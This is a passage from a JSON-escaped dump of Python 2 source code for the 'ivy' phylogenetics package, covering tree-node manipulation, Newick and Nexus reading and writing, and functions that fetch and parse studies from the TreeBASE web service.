\"\"\"\n        newnode = Node()\n        for attr, value in self.__dict__.items():\n            if (attr not in (\"children\", \"parent\") and\n                not isinstance(value, Node)):\n                setattr(newnode, attr, _copy(value))\n            if recurse:\n                newnode.children = [\n                    child.copy(True) for child in self.children\n                    ]\n        return newnode\n\n    def leafsets(self, d=None, labels=False):\n        \"\"\"return a mapping of nodes to leaf sets (nodes or labels)\"\"\"\n        d = d or {}\n        if not self.isleaf:\n            s = set()\n            for child in self.children:\n                if child.isleaf:\n                    if labels:\n                        s.add(child.label)\n                    else:\n                        s.add(child)\n                else:\n                    d = child.leafsets(d, labels)\n                    s = s | d[child]\n            d[self] = frozenset(s)\n        return d\n\n    def mrca(self, *nodes):\n        \"\"\"\n        Find most recent common ancestor of *nodes*\n\n        Args:\n            *nodes (Node): Node objects\n        Returns:\n            Node: The MRCA of *nodes*\n        \"\"\"\n        if len(nodes) == 1:\n            nodes = tuple(nodes[0])\n        if len(nodes) == 1:\n            return nodes[0]\n        nodes = set([ self[n] for n in nodes ])\n        anc = []\n        def f(n):\n            seen = set()\n            for c in n.children: seen.update(f(c))\n            if n in nodes: seen.add(n)\n            if seen == nodes and (not anc): anc.append(n)\n            return seen\n        f(self)\n        return anc[0]\n\n    ## def mrca(self, *nodes):\n    ##     \"\"\"\n    ##     Find most recent common ancestor of *nodes*\n    ##     \"\"\"\n    ##     if len(nodes) == 1:\n    ##         nodes = tuple(nodes[0])\n    ##     if len(nodes) == 1:\n    ##         return nodes[0]\n    ##     ## assert len(nodes) > 1, (\n    ##     ##     \"Need more than one node for mrca(), got %s\" % nodes\n    ##     ##     )\n    ##     def f(x):\n    ##         if isinstance(x, Node):\n    ##             return x\n    ##         elif type(x) in types.StringTypes:\n    ##             return self.find(x)\n    ##     nodes = map(f, nodes)\n    ##     assert all(filter(lambda x: isinstance(x, Node), nodes))\n\n    ##     #v = [ list(n.rootpath()) for n in nodes if n in self ]\n    ##     v = [ list(x) for x in izip_longest(*[ reversed(list(n.rootpath()))\n    ##                                            for n in nodes if n in self ]) ]\n    ##     if len(v) == 1:\n    ##         return v[0][0]\n    ##     anc = None\n    ##     for x in v:\n    ##         s = set(x)\n    ##         if len(s) == 1: anc = list(s)[0]\n    ##         else: break\n    ##     return anc\n\n    def ismono(self, *leaves):\n        \"\"\"\n        Test if leaf descendants are monophyletic\n\n        Args:\n            *leaves (Node): At least two leaf Node objects\n\n        Returns:\n            bool: Are the leaf descendants monophyletic?\n\n        RR: Should this function have a check to make sure the input nodes are\n        leaves? There is some strange behavior if you input internal nodes -CZ\n        \"\"\"\n        if len(leaves) == 1:\n            leaves = list(leaves)[0]\n        assert len(leaves) > 1, (\n            \"Need more than one leaf for ismono(), got %s\" % leaves\n            )\n        anc = self.mrca(leaves)\n        if anc:\n            return bool(len(anc.leaves())==len(leaves))\n\n    def order_subtrees_by_size(self, n2s=None, recurse=False, reverse=False):\n        \"\"\"\n        Order interal clades by size\n\n        \"\"\"\n        if n2s is None:\n            n2s = clade_sizes(self)\n        if not self.isleaf:\n            v = [ (n2s[c], c.label, c) for c in self.children ]\n            v.sort()\n            if reverse:\n                v.reverse()\n            self.children = [ x[-1] for x in v ]\n            if recurse:\n                for c in self.children:\n                    c.order_subtrees_by_size(n2s, recurse=True, reverse=reverse)\n\n    def ladderize(self, reverse=False):\n        self.order_subtrees_by_size(recurse=True, reverse=reverse)\n        return self\n\n    def add_child(self, child):\n        \"\"\"\n        Add child as child of self\n\n        Args:\n            child (Node): A node object\n\n        \"\"\"\n        assert child not in self.children\n        self.children.append(child)\n        child.parent = self\n        child.isroot = False\n        self.nchildren += 1\n\n    def bisect_branch(self):\n        \"\"\"\n        Add new node as parent to self in the middle of branch to parent.\n\n        Returns:\n            Node: A new node.\n\n        \"\"\"\n        assert self.parent\n        parent = self.prune()\n        n = Node()\n        if self.length:\n            n.length = self.length/2.0\n            self.length /= 2.0\n        parent.add_child(n)\n        n.add_child(self)\n        return n\n\n    def remove_child(self, child):\n        \"\"\"\n        Remove child.\n\n        Args:\n            child (Node): A node object that is a child of self\n\n        \"\"\"\n        assert child in self.children\n        self.children.remove(child)\n        child.parent = None\n        self.nchildren -= 1\n        if not self.children:\n            self.isleaf = True\n\n    def labeled(self):\n        \"\"\"\n        Return a list of all descendant nodes that are labeled\n\n        Returns:\n            list: All descendants of self that are labeled (including self)\n        \"\"\"\n        return [ n for n in self if n.label ]\n\n    def leaves(self, f=None):\n        \"\"\"\n        Return a list of leaves. Can be filtered with f.\n\n        Args:\n            f (function): A function that evaluates to True if called with desired\n              node as the first input\n\n        Returns:\n            list: A list of leaves that are true for f (if f is given)\n\n        \"\"\"\n        if f: return [ n for n in self if (n.isleaf and f(n)) ]\n        return [ n for n in self if n.isleaf ]\n\n    def internals(self, f=None):\n        \"\"\"\n        Return a list nodes that have children (internal nodes)\n\n        Args:\n            f (function): A function that evaluates to true if called with desired\n              node as the first input\n\n        Returns:\n            list: A list of internal nodes that are true for f (if f is given)\n\n        \"\"\"\n        if f: return [ n for n in self if (n.children and f(n)) ]\n        return [ n for n in self if n.children ]\n\n    def clades(self):\n        \"\"\"\n        Get internal nodes descended from self\n\n        Returns:\n            list: A list of internal nodes descended from (and not including) self.\n\n        \"\"\"\n        return [ n for n in self if (n is not self) and not n.isleaf ]\n\n    def iternodes(self, f=None):\n        \"\"\"\n        Return a generator of nodes descendant from self - including self\n\n        Args:\n            f (function): A function that evaluates to true if called with\n            desired node as the first input\n\n        Yields:\n            Node: Nodes descended from self (including self) in\n              preorder sequence\n\n        \"\"\"\n        if (f and f(self)) or (not f):\n            yield self\n        for child in self.children:\n            for n in child.iternodes(f):\n                yield n\n\n    def iterleaves(self):\n        \"\"\"\n        Yield leaves descendant from self\n        \"\"\"\n        return self.iternodes(lambda x:x.isleaf)\n\n    def preiter(self, f=None):\n        \"\"\"\n        Yield nodes in preorder sequence\n        \"\"\"\n        for n in self.iternodes(f=f):\n            yield n\n\n    def postiter(self, f=None):\n        \"\"\"\n        Yield nodes in postorder sequence\n        \"\"\"\n        if not self.isleaf:\n            for child in self.children:\n                for n in child.postiter():\n                    if (f and f(n)) or (not f):\n                        yield n\n        if (f and f(self)) or (not f):\n            yield self\n\n    def descendants(self, order=\"pre\", v=None, f=None):\n        \"\"\"\n        Return a list of nodes descendant from self - but _not_\n        including self!\n\n        Args:\n            order (str): Indicates wether to return nodes in preorder or\n              postorder sequence. Optional, defaults to \"pre\"\n            f (function): filtering function that evaluates to True if desired\n              node is called as the first parameter.\n\n        Returns:\n            list: A list of nodes descended from self not including self.\n\n        \"\"\"\n        v = v or []\n        for child in self.children:\n            if (f and f(child)) or (not f):\n                if order == \"pre\":\n                    v.append(child)\n                else:\n                    v.insert(0, child)\n            if child.children:\n                child.descendants(order, v, f)\n        return v\n\n    def get(self, f, *args, **kwargs):\n        \"\"\"\n        Return the first node found by node.find()\n\n        Args:\n            f (function): A function that evaluates to True if desired\n              node is called as the first parameter.\n        Returns:\n            Node: The first node found by node.find()\n\n        \"\"\"\n        v = self.find(f, *args, **kwargs)\n        try:\n            return v.next()\n        except StopIteration:\n            return None\n\n    def grep(self, s, ignorecase=True):\n        \"\"\"\n        Find nodes by regular-expression search of labels\n\n        Args:\n            s (str): String to search.\n            ignorecase (bool): Indicates to ignore case. Defaults to true.\n\n        Returns:\n            lsit: A list of node objects whose labels were matched by s.\n\n        \"\"\"\n        import re\n        if ignorecase:\n            pattern = re.compile(s, re.IGNORECASE)\n        else:\n            pattern = re.compile(s)\n\n        search = pattern.search\n        return [ x for x in self if x.label and search(x.label) ]\n\n    def lgrep(self, s, ignorecase=True):\n        \"\"\"\n        Find leaves by regular-expression search of labels\n\n        Args:\n            s (str): String to search.\n            ignorecase (bool): Indicates to ignore case. Defaults to true.\n\n        Returns:\n            lsit: A list of node objects whose labels were matched by s.\n\n        \"\"\"\n        return [ x for x in self.grep(s, ignorecase=ignorecase) if x.isleaf ]\n\n    def bgrep(self, s, ignorecase=True):\n        \"\"\"\n        Find branches (internal nodes) by regular-expression search of\n        labels\n\n        Args:\n            s (str): String to search.\n            ignorecase (bool): Indicates to ignore case. Defaults to true.\n\n        Returns:\n            lsit: A list of node objects whose labels were matched by s.\n\n        \"\"\"\n        return [ x for x in self.grep(s, ignorecase=ignorecase) if\n               (not x.isleaf) ]\n\n    def find(self, f, *args, **kwargs):\n        \"\"\"\n        Find descendant nodes.\n\n        Args:\n            f: Function or a string.  If a string, it is converted to a\n              function for finding *f* as a substring in node labels.\n              Otherwise, *f* should evaluate to True if called with a desired\n              node as the first parameter.\n\n        Yields:\n            Node: Found nodes in preorder sequence.\n\n        \"\"\"\n        if not f: return\n        if type(f) in types.StringTypes:\n            func = lambda x: (f or None) in (x.label or \"\")\n        else:\n            func = f\n        for n in self.iternodes():\n            if func(n, *args, **kwargs):\n                yield n\n\n    def findall(self, f, *args, **kwargs):\n        \"\"\"Return a list of found nodes.\"\"\"\n        return list(self.find(f, *args, **kwargs))\n\n    def prune(self):\n        \"\"\"\n        Remove self if self is not root.\n\n        Returns:\n            Node: Parent of self. If parent had only two children,\n              parent is now a 'knee' and can be removed with excise.\n\n        \"\"\"\n        p = self.parent\n        if p:\n            p.remove_child(self)\n        return p\n\n    def excise(self):\n        \"\"\"\n        For 'knees': remove self from between parent and single child\n        \"\"\"\n        assert self.parent\n        assert len(self.children)==1\n        p = self.parent\n        c = self.children[0]\n        if c.length is not None and self.length is not None:\n            c.length += self.length\n        c.prune()\n        self.prune()\n        p.add_child(c)\n        return p\n\n    def graft(self, node):\n        \"\"\"\n        Add node as sister to self.\n        \"\"\"\n        parent = self.parent\n        parent.remove_child(self)\n        n = Node()\n        n.add_child(self)\n        n.add_child(node)\n        parent.add_child(n)\n\n    ## def leaf_distances(self, store=None, measure=\"length\"):\n    ##     \"\"\"\n    ##     for each internal node, calculate the distance to each leaf,\n    ##     measured in branch length or internodes\n    ##     \"\"\"\n    ##     if store is None:\n    ##         store = {}\n    ##     leaf2len = {}\n    ##     if self.children:\n    ##         for child in self.children:\n    ##             if measure == \"length\":\n    ##                 dist = child.length\n    ##             elif measure == \"nodes\":\n    ##                 dist = 1\n    ##             child.leaf_distances(store, measure)\n    ##             if child.isleaf:\n    ##                 leaf2len[child] = dist\n    ##             else:\n    ##                 for k, v in store[child].items():\n    ##                     leaf2len[k] = v + dist\n    ##     else:\n    ##         leaf2len[self] = {self: 0}\n    ##     store[self] = leaf2len\n    ##     return store\n\n    def leaf_distances(self, measure=\"length\"):\n        \"\"\"\n        RR: I don't quite understand the structure of the output. Also,\n            I can't figure out what \"measure\" does.-CZ\n        \"\"\"\n        from collections import defaultdict\n        store = defaultdict(lambda:defaultdict(lambda:0))\n        nodes = [ x for x in self if x.children ]\n        for lf in self.leaves():\n            x = lf.length\n            for n in lf.rootpath(self):\n                store[n][lf] = x\n                x += (n.length or 0)\n        return store\n\n    def rootpath(self, end=None, stop=None):\n        \"\"\"\n        Iterate over parent nodes toward the root, or node *end* if\n        encountered.\n\n        Args:\n            end (Node): A Node object to iterate to (instead of iterating\n              towards root). Optional, defaults to None\n            stop (function): A function that returns True if desired node is called\n              as the first parameter. Optional, defaults to None\n\n        Yields:\n            Node: Nodes in path to root (or end).\n\n        \"\"\"\n        n = self.parent\n        while 1:\n            if n is None: raise StopIteration\n            yield n\n            if n.isroot or (end and n == end) or (stop and stop(n)):\n                raise StopIteration\n            n = n.parent\n\n    def rootpath_length(self, end=None):\n        \"\"\"\n        Get length from self to root(if end is None) or length\n        from self to an ancestor node (if end is an ancestor to self)\n\n        Args:\n            end (Node): A node object\n\n        Returns:\n            float: The length from self to root/end\n\n        \"\"\"\n        n = self\n        x = 0.0\n        while n.parent:\n            x += n.length\n            if n.parent == end:\n                break\n            n = n.parent\n        return x\n        ## f = lambda x:x.parent==end\n        ## v = [self.length]+[ x.length for x in self.rootpath(stop=f)\n        ##                     if x.parent ]\n        ## assert None not in v\n        ## return sum(v)\n\n    def max_tippath(self, first=True):\n        \"\"\"\n        Get the maximum length from self to a leaf node\n        \"\"\"\n        v = 0\n        if self.children:\n            v = max([ c.max_tippath(False) for c in self.children ])\n        if not first:\n            if self.length is None: v += 1\n            else: v += self.length\n        return v\n\n    def subtree_mapping(self, labels, clean=False):\n        \"\"\"\n        Find the set of nodes in 'labels', and create a new tree\n        representing the subtree connecting them.  Nodes are assumed\n        to be non-nested.\n\n        Returns:\n            dict: a mapping of old nodes to new nodes and vice versa.\n\n        TODO: test this, high bug probability\n        \"\"\"\n        d = {}\n        oldtips = [ x for x in self.leaves() if x.label in labels ]\n        for tip in oldtips:\n            path = list(tip.rootpath())\n            for node in path:\n                if node not in d:\n                    newnode = Node()\n                    newnode.isleaf = node.isleaf\n                    newnode.length = node.length\n                    newnode.label = node.label\n                    d[node] = newnode\n                    d[newnode] = node\n                else:\n                    newnode = d[node]\n\n                for child in node.children:\n                    if child in d:\n                        newchild = d[child]\n                        if newchild not in newnode.children:\n                            newnode.add_child(newchild)\n        d[\"oldroot\"] = self\n        d[\"newroot\"] = d[self]\n        if clean:\n            n = d[\"newroot\"]\n            while 1:\n                if n.nchildren == 1:\n                    oldnode = d[n]\n                    del d[oldnode]; del d[n]\n                    child = n.children[0]\n                    child.parent = None\n                    child.isroot = True\n                    d[\"newroot\"] = child\n                    d[\"oldroot\"] = d[child]\n                    n = child\n                else:\n                    break\n\n            for tip in oldtips:\n                newnode = d[tip]\n                while 1:\n                    newnode = newnode.parent\n                    oldnode = d[newnode]\n                    if newnode.nchildren == 1:\n                        child = newnode.children[0]\n                        if newnode.length:\n                            child.length += newnode.length\n                        newnode.remove_child(child)\n                        if newnode.parent:\n                            parent = newnode.parent\n                            parent.remove_child(newnode)\n                            parent.add_child(child)\n                        del d[oldnode]; del d[newnode]\n                    if not newnode.parent:\n                        break\n\n        return d\n\n    def reroot_orig(self, newroot):\n        assert newroot in self\n        self.isroot = False\n        newroot.isroot = True\n        v = []\n        n = newroot\n        while 1:\n            v.append(n)\n            if not n.parent: break\n            n = n.parent\n        v.reverse()\n        for i, cp in enumerate(v[:-1]):\n            node = v[i+1]\n            # node is current node; cp is current parent\n            cp.remove_child(node)\n            node.add_child(cp)\n            cp.length = node.length\n        return newroot\n\n    def reroot(self, newroot):\n        \"\"\"\n        RR: I can't get this to work properly -CZ\n        \"\"\"\n        newroot = self[newroot]\n        assert newroot in self\n        self.isroot = False\n        n = newroot\n        v = list(n.rootpath())\n        v.reverse()\n        for node in (v+[n])[1:]:\n            # node is current node; cp is current parent\n            cp = node.parent\n            cp.remove_child(node)\n            node.add_child(cp)\n            cp.length = node.length\n            cp.label = node.label\n        newroot.isroot = True\n        return newroot\n\n    def makeroot(self, shift_labels=False):\n        \"\"\"\n        shift_labels: flag to shift internal parent-child node labels\n        when internode polarity changes; suitable e.g. if internal node\n        labels indicate unrooted bipartition support\n        \"\"\"\n        v = list(self.rootpath())\n        v[-1].isroot = False\n        v.reverse()\n        for node in v[1:] + [self]:\n            # node is current node; cp is current parent\n            cp = node.parent\n            cp.remove_child(node)\n            node.add_child(cp)\n            cp.length = node.length\n            if shift_labels:\n                cp.label = node.label\n        self.isroot = True\n        return self\n\n    def write(self, outfile=None, format=\"newick\", length_fmt=\":%g\", end=True,\n              clobber=False):\n        if format==\"newick\":\n            s = write_newick(self, outfile, length_fmt, True, clobber)\n            if not outfile:\n                return s\n\n\nreroot = Node.reroot\n\ndef index(node, n=0, d=0):\n    \"\"\"\n    recursively attach 'next', 'back', (and 'left', 'right'), 'ni',\n    'ii', 'pi', and 'node_depth' attributes to nodes\n    \"\"\"\n    node.next = node.left = n\n    if not node.parent:\n        node.node_depth = d\n    else:\n        node.node_depth = node.parent.node_depth + 1\n    n += 1\n    for i, c in enumerate(node.children):\n        if i > 0:\n            n = node.children[i-1].back + 1\n        index(c, n)\n\n    if node.children:\n        node.back = node.right = node.children[-1].back + 1\n    else:\n        node.back = node.right = n\n    return node.back\n\ndef remove_singletons(root, add=True):\n    \"Remove descendant nodes that are the sole child of their parent\"\n    for leaf in root.leaves():\n        for n in leaf.rootpath():\n            if n.parent and len(n.parent.children)==1:\n                n.collapse(add)\n\ndef cls(root):\n    \"\"\"\n    Get clade sizes of whole tree\n    Args:\n        * root: A root node\n\n    Returns:\n        * A dict mapping nodes to clade sizes\n\n    \"\"\"\n    results = {}\n    for node in root.postiter():\n        if node.isleaf:\n            results[node] = 1\n        else:\n            results[node] = sum(results[child] for child in node.children)\n    return results\n\ndef clade_sizes(node, results={}):\n    \"\"\"Map node and descendants to number of descendant tips\"\"\"\n    size = int(node.isleaf)\n    if not node.isleaf:\n        for child in node.children:\n            clade_sizes(child, results)\n            size += results[child]\n    results[node] = size\n    return results\n\ndef write(node, outfile=None, format=\"newick\", length_fmt=\":%g\",\n          clobber=False):\n    if format==\"newick\" or ((type(outfile) in types.StringTypes) and\n                            (outfile.endswith(\".newick\") or\n                             outfile.endswith(\".new\"))):\n        s = write_newick(node, outfile, length_fmt, True, clobber)\n        if not outfile:\n            return s\n\ndef write_newick(node, outfile=None, length_fmt=\":%g\", end=False,\n                 clobber=False):\n    if not node.isleaf:\n        node_str = \"(%s)%s\" % \\\n                   (\",\".join([ write_newick(child, outfile, length_fmt,\n                                            False, clobber)\n                               for child in node.children ]),\n                    (node.label or \"\")\n                    )\n    else:\n        node_str = \"%s\" % node.label\n\n    if node.length is not None:\n        length_str = length_fmt % node.length\n    else:\n        length_str = \"\"\n\n    semicolon = \"\"\n    if end:\n        semicolon = \";\"\n    s = \"%s%s%s\" % (node_str, length_str, semicolon)\n    if end and outfile:\n        flag = False\n        if type(outfile) in types.StringTypes:\n            if not clobber:\n                assert not os.path.isfile(outfile), \"File '%s' exists! (Set clobber=True to overwrite)\" % outfile\n            flag = True\n            outfile = file(outfile, \"w\")\n        outfile.write(s)\n        if flag:\n            outfile.close()\n    return s\n\ndef read(data, format=None, treename=None, ttable=None):\n    \"\"\"\n    Read a single tree from *data*, which can be a Newick string, a\n    file name, or a file-like object with `tell` and 'read`\n    methods. *treename* is an optional string that will be attached to\n    all created nodes.\n\n    Args:\n        data: A file or file-like object or newick string\n\n    Returns:\n        Node: The root node.\n    \"\"\"\n    import newick\n    StringTypes = types.StringTypes\n\n    def strip(s):\n        fname = os.path.split(s)[-1]\n        head, tail = os.path.splitext(fname)\n        tail = tail.lower()\n        if tail in (\".nwk\", \".tre\", \".tree\", \".newick\", \".nex\"):\n            return head\n        else:\n            return fname\n\n    if (not format):\n        if (type(data) in StringTypes) and os.path.isfile(data):\n            s = data.lower()\n            for tail in \".nex\", \".nexus\", \".tre\":\n                if s.endswith(tail):\n                    format=\"nexus\"\n                    break\n\n    if (not format):\n        format = \"newick\"\n\n    if format == \"newick\":\n        if type(data) in StringTypes:\n            if os.path.isfile(data):\n                treename = strip(data)\n                return newick.parse(file(data), treename=treename,\n                                    ttable=ttable)\n            else:\n                return newick.parse(data, ttable=ttable)\n\n        elif (hasattr(data, \"tell\") and hasattr(data, \"read\")):\n            treename = strip(getattr(data, \"name\", None))\n            return newick.parse(data, treename=treename, ttable=ttable)\n    elif format == \"nexus-dendropy\":\n        import dendropy\n        if type(data) in StringTypes:\n            if os.path.isfile(data):\n                treename = strip(data)\n                return newick.parse(\n                    str(dendropy.Tree.get_from_path(data, \"nexus\")),\n                    treename=treename\n                    )\n            else:\n                return newick.parse(\n                    str(dendropy.Tree.get_from_string(data, \"nexus\"))\n                    )\n\n        elif (hasattr(data, \"tell\") and hasattr(data, \"read\")):\n            treename = strip(getattr(data, \"name\", None))\n            return newick.parse(\n                str(dendropy.Tree.get_from_stream(data, \"nexus\")),\n                treename=treename\n                )\n        else:\n            pass\n\n    elif format == \"nexus\":\n        if type(data) in StringTypes:\n            if os.path.isfile(data):\n                with open(data) as infile:\n                    rec = newick.nexus_iter(infile).next()\n                    if rec: return rec.parse()\n            else:\n                rec = newick.nexus_iter(StringIO(data)).next()\n                if rec: return rec.parse()\n        else:\n            rec = newick.nexus_iter(data).next()\n            if rec: return rec.parse()\n    else:\n        # implement other tree formats here (nexus, nexml etc.)\n        raise IOError, \"format '%s' not implemented yet\" % format\n\n    raise IOError, \"unable to read tree from '%s'\" % data\n\ndef readmany(data, format=\"newick\"):\n    \"\"\"Iterate over trees from a source.\"\"\"\n    if type(data) in types.StringTypes:\n        if os.path.isfile(data):\n            data = open(data)\n        else:\n            data = StringIO(data)\n\n    if format == \"newick\":\n        for line in data:\n            yield newick.parse(line)\n    elif format == \"nexus\":\n        for rec in newick.nexus_iter(data):\n            yield rec.parse()\n    else:\n        raise Exception, \"format '%s' not recognized\" % format\n    data.close()\n\n## def randomly_resolve(n):\n##     assert len(n.children)>2\n\n## def leaf_mrcas(root):\n##     from itertools import product, izip, tee\n##     from collections import OrderedDict\n##     from numpy import empty\n##     mrca = OrderedDict()\n##     def pairwise(iterable, tee=tee, izip=izip):\n##         a, b = tee(iterable)\n##         next(b, None)\n##         return izip(a, b)\n##     def f(n):\n##         if n.isleaf:\n##             od = OrderedDict(); od[n] = n.length\n##             return od\n##         d = [ f(c) for c in n.children ]\n##         for i, j in pairwise(xrange(len(d))):\n##             di = d[i]; dj =d[j]\n##             for ni, niv in di.iteritems():\n##                 for nj, njv in dj.iteritems():\n##                     mrca[(ni,nj)] = n\n##             d[j].update(di)\n##         return d[j]\n##     f(root)\n##     return mrca\n\ndef C(leaves, internals):\n    from scipy.sparse import lil_matrix\n    m = lil_matrix((len(internals), len(leaves)))\n    for lf in leaves:\n        v = lf.length if lf.length is not None else 1\n        for n in lf.rootpath():\n            m[n.ii,lf.li] = v\n            v += n.length if n.length is not None else 1\n    return m.tocsc()\n", "ivy/treebase.py": "\"\"\"\nFunctions to get trees and character data from treebase\n\"\"\"\n\nfrom urllib2 import urlopen\nfrom lxml import etree\nfrom collections import defaultdict\nfrom storage import Storage\nimport sys, re\n\n# \"http://purl.org/phylo/treebase/phylows/study/TB2:S11152\"\n\nTREEBASE_WEBSERVICE = \"http://purl.org/phylo/treebase/phylows\"\nNEXML_NAMESPACE = \"http://www.nexml.org/2009\"\nNEXML = \"{%s}\" % NEXML_NAMESPACE\nUNIPROT = \"http://purl.uniprot.org/taxonomy/\"\nNAMEBANK = (\"http://www.ubio.org/authority/metadata.php?\"\n            \"lsid=urn:lsid:ubio.org:namebank:\")\n\nROW_SEGMENTS = (\"http://treebase.org/treebase-web/search/study/\"\n                \"rowSegmentsTSV.html?matrixid=\")\n\nMETA_DATATYPE = {\n    \"xsd:long\": int,\n    \"xsd:integer\": int,\n    \"xsd:string\": str\n    }\n\nAMBIG_RE = re.compile(r'([{][a-zA-Z]+[}])')\n\ndef fetch_study(study_id, format=\"nexml\"):\n    \"\"\"\n    Get a study from treebase in one of various formats\n\n    Args:\n        study_id (str): The id of the study\n        format (str):  One of [\"rdf\", \"html\", \"nexml\", \"nexus\"]\n    Returns:\n        Str representing a nexus file (if format = \"nexus\")\n\n        OR\n\n        An lxml etree object\n    \"\"\"\n    try: study_id = \"S%s\" % int(study_id)\n    except ValueError: pass\n\n    # format is one of [\"rdf\", \"html\", \"nexml\", \"nexus\"]\n    url = \"%s/study/TB2:%s?format=%s\" % (TREEBASE_WEBSERVICE, study_id, format)\n    if format==\"nexus\":\n        return urlopen(url).read()\n    else:\n        return etree.parse(url)\n\ndef parse_chars(e, otus):\n    v = []\n    for chars in e.findall(NEXML+\"characters\"):\n        c = Storage(chars.attrib)\n        c.states = parse_states(chars)\n        c.meta = Storage()\n        for meta in chars.findall(NEXML+\"meta\"):\n            a = meta.attrib\n            if a.get(\"content\"):\n                value = META_DATATYPE[a[\"datatype\"]](a[\"content\"])\n                c.meta[a[\"property\"]] = value\n        c.matrices = []\n        for matrix in chars.findall(NEXML+\"matrix\"):\n            m = Storage()\n            m.rows = []\n            for row in matrix.findall(NEXML+\"row\"):\n                r = Storage(row.attrib)\n                r.otu = otus[r.otu]\n                s = row.findall(NEXML+\"seq\")[0].text\n                substrs = []\n                for ss in AMBIG_RE.split(s):\n                    if ss.startswith(\"{\"):\n                        key = frozenset(ss[1:-1])\n                        val = c.states.states2symb.get(key)\n                        if key and not val:\n                            sys.stderr.write(\"missing ambig symbol for %s\\n\" %\n                                             \"\".join(sorted(key)))\n                        ss = val or \"?\"\n                    substrs.append(ss)\n                s = \"\".join(substrs)\n                r.seq = s\n                m.rows.append(r)\n            c.matrices.append(m)\n        v.append(c)\n    return v\n\ndef parse_trees(e, otus):\n    \"\"\"\n    Get trees from an etree object\n\n    Args:\n        e: A nexml document parsed by etree\n        otus: OTUs returned by parse_otus\n    Returns:\n        list: A list of ivy Storage objects each\n          containing every node of a tree.\n    \"\"\"\n    from tree import Node\n    v = []\n    for tb in e.findall(NEXML+\"trees\"):\n        for te in tb.findall(NEXML+\"tree\"):\n            t = Storage()\n            t.attrib = Storage(te.attrib)\n            t.nodes = {}\n            for n in te.findall(NEXML+\"node\"):\n                node = Node()\n                if n.attrib.get(\"otu\"):\n                    node.isleaf = True\n                    node.otu = otus[n.attrib[\"otu\"]]\n                    node.label = node.otu.label\n                t.nodes[n.attrib[\"id\"]] = node\n            for edge in te.findall(NEXML+\"edge\"):\n                d = edge.attrib\n                n = t.nodes[d[\"target\"]]\n                p = t.nodes[d[\"source\"]]\n                length = d.get(\"length\")\n                if length:\n                    n.length = float(length)\n                p.add_child(n)\n            r = [ n for n in t.nodes.values() if not n.parent ]\n            assert len(r)==1\n            r = r[0]\n            r.isroot = True\n            for i, n in enumerate(r): n.id = i+1\n            t.root = r\n            v.append(t)\n    return v\n\ndef parse_otus(e):\n    \"\"\"\n    Get OTUs from an etree object\n\n    Args:\n        e: A nexml document parsed by etree\n    Returns:\n        dict: A dict mapping keys to OTUs contained in ivy Storage objects\n    \"\"\"\n    v = {}\n    for otus in e.findall(NEXML+\"otus\"):\n        for x in otus.findall(NEXML+\"otu\"):\n            otu = Storage()\n            otu.id = x.attrib[\"id\"]\n            otu.label = x.attrib[\"label\"]\n            for meta in x.iterchildren():\n                d = meta.attrib\n                p = d.get(\"property\")\n                if p and p == \"tb:identifier.taxon\":\n                    otu.tb_taxid = d[\"content\"]\n                elif p and p == \"tb:identifier.taxonVariant\":\n                    otu.tb_taxid_variant = d[\"content\"]\n                h = d.get(\"href\")\n                if h and h.startswith(NAMEBANK):\n                    otu.namebank_id = int(h.replace(NAMEBANK, \"\"))\n                elif h and h.startswith(UNIPROT):\n                    otu.ncbi_taxid = int(h.replace(UNIPROT, \"\"))\n            v[otu.id] = otu\n    return v\n\ndef parse_nexml(doc):\n    \"\"\"\n    Parse an etree ElementTree\n\n    Args:\n        doc: An etree ElementTree or a file that can be parsed into\n          an etree ElementTree with etree.parse\n    Returns:\n        An ivy Storage object containing all the information from the\n          nexml file: Characters, metadata, OTUs, and trees.\n    \"\"\"\n    if not isinstance(doc, (etree._ElementTree, etree._Element)):\n        doc = etree.parse(doc)\n    meta = {}\n    for child in doc.findall(NEXML+\"meta\"):\n        if \"content\" in child.attrib:\n            d = child.attrib\n            key = d[\"property\"]\n            val = META_DATATYPE[d[\"datatype\"]](d[\"content\"])\n            if (key in meta) and val:\n                if isinstance(meta[key], list):\n                    meta[key].append(val)\n                else:\n                    meta[key] = [meta[key], val]\n            else:\n                meta[key] = val\n\n    otus = parse_otus(doc)\n\n    return Storage(meta = meta,\n                   otus = otus,\n                   chars = parse_chars(doc, otus),\n                   trees = parse_trees(doc, otus))\n\ndef parse_states(e):\n    \"\"\"e is a characters element\"\"\"\n    f = e.findall(NEXML+\"format\")[0]\n    sts = f.findall(NEXML+\"states\")[0]\n    states2symb = {}\n    symb2states = {}\n    id2symb = {}\n    for child in sts.iterchildren():\n        t = child.tag\n        if t == NEXML+\"state\":\n            k = child.attrib[\"id\"]\n            v = child.attrib[\"symbol\"]\n            id2symb[k] = v\n            states2symb[v] = v\n            symb2states[v] = v\n        elif t == NEXML+\"uncertain_state_set\":\n            k = child.attrib[\"id\"]\n            v = child.attrib[\"symbol\"]\n            id2symb[k] = v\n            memberstates = []\n            for memb in child.findall(NEXML+\"member\"):\n                sid = memb.attrib[\"state\"]\n                symb = id2symb[sid]\n                for x in symb2states[symb]: memberstates.append(x)\n            memberstates = frozenset(memberstates)\n            symb2states[v] = memberstates\n            states2symb[memberstates] = v\n    return Storage(states2symb=states2symb,\n                   symb2states=symb2states,\n                   id2symb=id2symb)\n\ndef parse_charsets(study_id):\n    from cStringIO import StringIO\n    nx = StringIO(fetch_study(study_id, 'nexus'))\n    d = {}\n    for line in nx.readlines():\n        if line.strip().startswith(\"CHARSET \"):\n            v = line.strip().split()\n            label = v[1]\n            first, last = map(int, line.split()[-1][:-1].split(\"-\"))\n            d[label] = (first-1, last-1)\n    return d\n\nif __name__ == \"__main__\":\n    import sys\n    from pprint import pprint\n    e = fetch_study('S11152', 'nexus')\n    #print e\n    #e.write(sys.stdout, pretty_print=True)\n\n    ## e = etree.parse('/tmp/tmp.xml')\n    ## x = parse_nexml(e)\n    ## pprint(x)\n", "ivy/vis/alignment.py": "\"\"\"\ninteractive viewers for trees, etc. using matplotlib\n\"\"\"\nfrom collections import defaultdict\nfrom ..storage import Storage\nfrom .. import align, sequtil\nimport matplotlib, numpy, types\nimport matplotlib.pyplot as pyplot\nfrom matplotlib.figure import SubplotParams, Figure\nfrom matplotlib.axes import Axes, subplot_class_factory\nfrom matplotlib.patches import Rectangle\nfrom matplotlib.collections import PatchCollection\nfrom matplotlib.widgets import RectangleSelector\nfrom matplotlib.transforms import Bbox, offset_copy, IdentityTransform\nfrom matplotlib import colors as mpl_colors\nfrom matplotlib.ticker import MaxNLocator, FuncFormatter, NullLocator\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\nfrom Bio.Align 